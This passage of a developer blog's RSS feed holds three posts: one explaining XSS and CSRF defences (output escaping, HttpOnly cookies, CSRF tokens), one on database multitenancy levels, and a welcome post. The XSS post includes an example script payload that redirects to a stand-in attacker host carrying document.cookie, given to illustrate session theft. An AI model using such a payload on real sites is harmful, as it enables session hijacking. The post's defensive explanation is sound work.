&lt;p&gt;Most web applications that require login use a session cookie that contains the
session identifier (and preferably nothing else). This identifier corresponds on
the server side with a session object, stored in a central session store. It is
used as a proof that you once entered your username/password correct in the
session and should therefore be protected carefully. A malicious JavaScript may
be executed on your site that &amp;ldquo;steals&amp;rdquo; the session cookie and posts it to the
attackers website. The attacker will be receiving these session cookies and can
start using the application, while being logged in as you. This is called &amp;ldquo;Cross
Site Scripting&amp;rdquo; or XSS. &amp;ldquo;Cross Site Request Forgery&amp;rdquo; on the other hand exploits
the behavior of automatically sending the session cookie on every request. It
will do something on the logged in web application on your behalf, by
cross-posting a form from the attackers website to the web application you are
logged in to. In this scenario we protect ourselves against XSS with output
escaping and &amp;ldquo;HttpOnly&amp;rdquo; cookies and against CSRF with a so-called &amp;ldquo;CSRF token&amp;rdquo;.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>This post will explain what XSS and CSRF attacks on web applications are and
also what the best practices are to counter them. It will explain the mitigation
techniques: Output escaping, &ldquo;HttpOnly&rdquo; cookie and CSRF-token.</p>
<h3 id="xss-and-csrf-explained">XSS and CSRF explained</h3>
<p>Most web applications that require login use a session cookie that contains the
session identifier (and preferably nothing else). This identifier corresponds on
the server side with a session object, stored in a central session store. It is
used as a proof that you once entered your username/password correct in the
session and should therefore be protected carefully. A malicious JavaScript may
be executed on your site that &ldquo;steals&rdquo; the session cookie and posts it to the
attackers website. The attacker will be receiving these session cookies and can
start using the application, while being logged in as you. This is called &ldquo;Cross
Site Scripting&rdquo; or XSS. &ldquo;Cross Site Request Forgery&rdquo; on the other hand exploits
the behavior of automatically sending the session cookie on every request. It
will do something on the logged in web application on your behalf, by
cross-posting a form from the attackers website to the web application you are
logged in to. In this scenario we protect ourselves against XSS with output
escaping and &ldquo;HttpOnly&rdquo; cookies and against CSRF with a so-called &ldquo;CSRF token&rdquo;.</p>
<h3 id="input-andor-output-escaping">Input and/or output escaping</h3>
<p>The HTML that your web application constructs may contain data the user entered.
For instance, you may be showing the full name of the user. You need to ensure
the user cannot enter
&ldquo;&lt;script&gt;document.location=&lsquo;<a href="http://attacker.com/'+document.cookie;&amp;lt;/script&amp;gt;%22">http://attacker.com/'+document.cookie;&amp;lt;/script&amp;gt;&quot;</a>
as this will post your session cookie on the attackers website whenever you are
are looking at the user&rsquo;s full name. This can be achieved by input and/or output
escaping. I feel you should not escape your input, but you should validate and
sanitize it. I feel you must escape all output and many frameworks agree and
have encapsulated it in there view rendering engines (Razor, Twig, Jinja).</p>
<h3 id="httponly-cookie">&ldquo;HttpOnly&rdquo; cookie</h3>
<p>Cookies should always have the &ldquo;HttpOnly&rdquo; flag. Setting this flag will disallow
JavaScript to read the cookie (from the &ldquo;document.cookie&rdquo; variable). This is
important on sites where you can log in as the session identifier is stored in a
session cookie. The session cookie is a secret that gives the same access as
your username/password combination. Session cookies are cookies that are
automatically removed when the session is closed. This is normally done when you
close the browser (unless the tab is &ldquo;pinned&rdquo;).</p>
<h3 id="csrf-token">CSRF token</h3>
<p>When a form is submitted it should always contain a value that identifies the
session that is being used. Since that value is not constant and unique for the
session that is being used the attacker is unable to predict this value.
Typically the CSRF token is a random value that is created and stored in the
session when the session is started. When a form is submitted, the presence of
the CSRF token field is checked and only if the submitted value matches the
session value the form is processed. This effectively prevents attackers from
successfully cross-posting forms.</p>
<h3 id="best-practices-implemented">Best practices implemented</h3>
<p>The above security practices are implemented in
<a href="https://github.com/mintyphp/mintyphp">MintyPHP</a>, a full-stack framework that
is: easy to learn, secure by design and light-weight. Note that this blog&rsquo;s
analytics backend is running on software built with MintyPHP.</p>
<h3 id="further-reading">Further reading</h3>
<ul>
<li><a href="https://www.owasp.org/index.php/Top10#OWASP_Top_10_for_2013">OWASP Top Ten Project</a></li>
<li><a href="http://blog.codinghorror.com/protecting-your-cookies-httponly/">Protecting Your Cookies: HttpOnly</a></li>
<li><a href="http://stackoverflow.com/questions/6968074/why-not-use-session-id-as-xsrf-token">Why not use session ID as XSRF token?</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>What is a multi-tenant database system?</title>
      <link>https://www.tqdev.com/2016-multi-tenant-database-system/</link>
      <pubDate>Thu, 03 Mar 2016 20:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-multi-tenant-database-system/</guid>
      <description>&lt;p&gt;Multitenancy in IT is the concept that you put your customers on shared
infrastructure (as opposed to an on-premise solution). This concept is also
referred to as &amp;ldquo;cloud computing&amp;rdquo;. It may be obvious that multitenancy impacts
costs, security, availability and performance. This is also true when
multitenancy is applied to database systems. But note that database multitenancy
is not a black-or-white thing.&lt;/p&gt;
&lt;h3 id=&#34;5-levels-of-database-multitenancy&#34;&gt;5 levels of database multitenancy&lt;/h3&gt;
&lt;p&gt;You can identify the following 5 different levels of multitenancy in the
database world. Customers may share:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Multitenancy in IT is the concept that you put your customers on shared
infrastructure (as opposed to an on-premise solution). This concept is also
referred to as &ldquo;cloud computing&rdquo;. It may be obvious that multitenancy impacts
costs, security, availability and performance. This is also true when
multitenancy is applied to database systems. But note that database multitenancy
is not a black-or-white thing.</p>
<h3 id="5-levels-of-database-multitenancy">5 levels of database multitenancy</h3>
<p>You can identify the following 5 different levels of multitenancy in the
database world. Customers may share:</p>
<ol>
<li>The same database schema, but have their own records.</li>
<li>The same database (catalog), but have their own schema.</li>
<li>The same database instance, but have their own database (catalog).</li>
<li>The same physical server, but have their own instance.</li>
<li>The same data-center rack, but have their own server(s).</li>
</ol>
<p>These five levels are completely different multitenancy approaches. Option 1
(&ldquo;same schema different records&rdquo;) is often chosen for very high amounts of
customers with little data. Typically this is what business-to-consumer Internet
startups are after. The advantage is that you can add a new customer instantly
and it is easy to aggregate data for all customers (for instance for management
dashboard).</p>
<p>Options 2 to 5 are chosen when there are less customers that have more data
and/or higher usage requirements. Higher usage requirements may for instance be
write-heavy usage with guaranteed performance or high security and availability.</p>
<h3 id="automate-everything">Automate everything!</h3>
<p>Automation is needed in either case. Not only to save money on manual labor, but
also to ensure consistency. The closer you get to option 5 in the list above,
the harder it gets to meet these two goals. But even with physical servers it is
possible as some hosting companies (like
<a href="http://developer.leaseweb.com/paygbm-docs/">LeaseWeb</a>) already offer a bare
metal API and you may script your entire infrastructure in a tool like Ansible.</p>
<h3 id="what-got-me-thinking-about-this">What got me thinking about this</h3>
<p>On Github you find my <a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a>
project. A project that aims to provide a high performance, consistent data API
over REST that is easy to deploy (it is a single PHP file!) and requires minimal
configuration. This script supports multitenancy (option 3) for a while now and
I recently added support for option 1. That&rsquo;s what got me thinking. Anyway,
check it out, it&rsquo;s free software!</p>
<h3 id="further-reading">Further reading</h3>
<ul>
<li><a href="https://en.wikipedia.org/wiki/Multitenancy">Wikipedia on Multitenancy</a></li>
<li><a href="http://www.ibm.com/developerworks/data/library/techarticle/dm-1201dbdesigncloud/index.html">Designing a database for multi-tenancy on the cloud</a></li>
<li><a href="https://msdn.microsoft.com/en-us/library/aa479086.aspx">Multi-Tenant Data Architecture (2006)</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Welcome at TQdev.com</title>
      <link>https://www.tqdev.com/2016-welcome-at-tqdev-com/</link>
      <pubDate>Tue, 01 Mar 2016 18:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-welcome-at-tqdev-com/</guid>
      <description>&lt;p&gt;My name is Maurits van der Schee and I love thinking about software architecture
and building high traffic web applications. In the past I have been building
&lt;a href=&#34;http://oefenweb.nl&#34;&gt;Oefenweb&lt;/a&gt; and &lt;a href=&#34;http://leaseweb.com/cdn&#34;&gt;LeaseWeb CDN&lt;/a&gt;.
Previously I have been blogging on
&lt;a href=&#34;http://www.leaseweb.com/labs&#34;&gt;LeaseWeb labs&lt;/a&gt;, but from now on you can find me
here on &lt;a href=&#34;http://TQdev.com&#34;&gt;TQdev.com&lt;/a&gt;. So please update your bookmarks
accordingly.&lt;/p&gt;
&lt;h3 id=&#34;tqdev-what-does-that-mean&#34;&gt;&amp;ldquo;TQdev&amp;rdquo;, what does that mean?&lt;/h3&gt;
&lt;p&gt;It means &amp;ldquo;I love you, developer!&amp;rdquo; and it is something I think almost every day
when I work with free software.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>My name is Maurits van der Schee and I love thinking about software architecture
and building high traffic web applications. In the past I have been building
<a href="http://oefenweb.nl">Oefenweb</a> and <a href="http://leaseweb.com/cdn">LeaseWeb CDN</a>.
Previously I have been blogging on
<a href="http://www.leaseweb.com/labs">LeaseWeb labs</a>, but from now on you can find me
here on <a href="http://TQdev.com">TQdev.com</a>. So please update your bookmarks
accordingly.</p>
<h3 id="tqdev-what-does-that-mean">&ldquo;TQdev&rdquo;, what does that mean?</h3>
<p>It means &ldquo;I love you, developer!&rdquo; and it is something I think almost every day
when I work with free software.</p>
<h3 id="is-your-blog-software-running-in-debug-mode">Is your blog software running in debug mode?</h3>
<p>Yes, this blog software is my own
<a href="https://github.com/mevdschee/mindablog">creation</a> and yes it is indeed running
in debug mode. This gives you an opportunity to look &ldquo;under the hood&rdquo;. You may
also note that this site is quite speedy, thanks to the software design and the
awesome hosting powers of <a href="http://nlware.com">nlware.com</a>.</p>
<h3 id="no-more-wordpress">No more WordPress?</h3>
<p>I was very happy with all the functionality of WordPress, especially the
<a href="http://www.tomsdimension.de/wp-plugins/count-per-day">Count-Per-Day</a> plugin.
The only reason I decided to write my own blog platform is curiosity: I want to
know what it takes. I love the idea of gradually (while writing posts) making
this blogging software feature complete. I&rsquo;m not sure this software will ever be
very usable. It is an experiment that I expect to learn from, like all
open-source software I publish on
<a href="https://github.com/mevdschee">my Github account</a>.</p>
<h3 id="where-is-the-rss-feed-can-i-leave-comments">Where is the RSS feed? Can I leave comments?</h3>
<p>Well, like many other features, these are not built yet. Stay tuned, because I
will be adding them soon!</p>
<p>Edit 2016-03-08: RSS feed is now available on
<a href="http://tqdev.com/feed">tqdev.com/feed</a>.</p>
]]></content:encoded>
    </item>
  </channel>
</rss>
